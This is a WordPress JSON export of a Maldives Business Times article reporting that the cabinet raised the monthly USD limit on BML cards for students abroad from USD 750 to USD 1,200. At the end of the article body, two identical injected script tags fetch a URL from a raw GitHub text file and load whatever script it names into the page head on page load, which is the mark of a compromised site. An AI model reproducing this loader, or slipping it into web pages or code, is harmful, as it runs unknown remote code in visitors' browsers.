{"id":8328,"date":"2023-12-25T13:18:53","date_gmt":"2023-12-25T08:18:53","guid":{"rendered":"https:\/\/mbt.mv\/?p=8328"},"modified":"2023-12-25T13:18:53","modified_gmt":"2023-12-25T08:18:53","slug":"bml-announce-new-usd-card-limit-for-students","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=8328","title":{"rendered":"BML announce new USD card limit for students"},"content":{"rendered":"<p>Maldives government has announced an increment in the card limit starting from February 2024 onward, which would facilitate Maldivian students studying abroad to withdraw USD 1,200 per month from Bank of Maldives (BML) credit and debit cards.<\/p>\n<p>The Principal Secretary to the President on Public Policy, Abdulla Nazim Ibrahim, while speaking at a recent press conference, expressed concerns of students abroad facing plights owing to restrained withdrawal limits. As of now, students are able to withdraw only up to USD 750 per month.<\/p>\n<p>The cabinet held a meeting to discuss the issue, and agreed on increasing the limit to USD 1,200 per month effective February 1, 2024.<\/p>\n<p>BML has been revising and increasing the withdrawal limit after the initial restrictions for online transactions in response to the Covid-19 pandemic in 2020.<\/p>\n<p>The bank&#8217;s last revision on card limit was in 2021, when the limit of online transactions from credit cards was set at USD 750. Meanwhile, debit cards still carry a limit of USD 750 for foreign transactions every month.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maldives government has announced an increment in the card limit starting from February 2024 onward, which would facilitate Maldivian students studying abroad to withdraw USD 1,200 per month from Bank of Maldives (BML) credit and debit cards. The Principal Secretary to the President on Public Policy, Abdulla Nazim Ibrahim, while speaking at a recent press<\/p>\n","protected":false},"author":4,"featured_media":8329,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423,2424],"tags":[],"class_list":{"0":"post-8328","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business","8":"category-finance"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>BML announce new USD card limit for students - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=8328\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BML announce new USD card limit for students - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"Maldives government has announced an increment in the card limit starting from February 2024 onward, which would facilitate Maldivian students studying abroad to withdraw USD 1,200 per month from Bank of Maldives (BML) credit and debit cards. The Principal Secretary to the President on Public Policy, Abdulla Nazim Ibrahim, while speaking at a recent press\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=8328\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2023-12-25T08:18:53+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=8328#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=8328\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"BML announce new USD card limit for students\",\"datePublished\":\"2023-12-25T08:18:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=8328\"},\"wordCount\":169,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=8328#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"BUSINESS\",\"FINANCE\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=8328#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=8328\",\"url\":\"https:\/\/mbt.mv\/?p=8328\",\"name\":\"BML announce new USD card limit for students - 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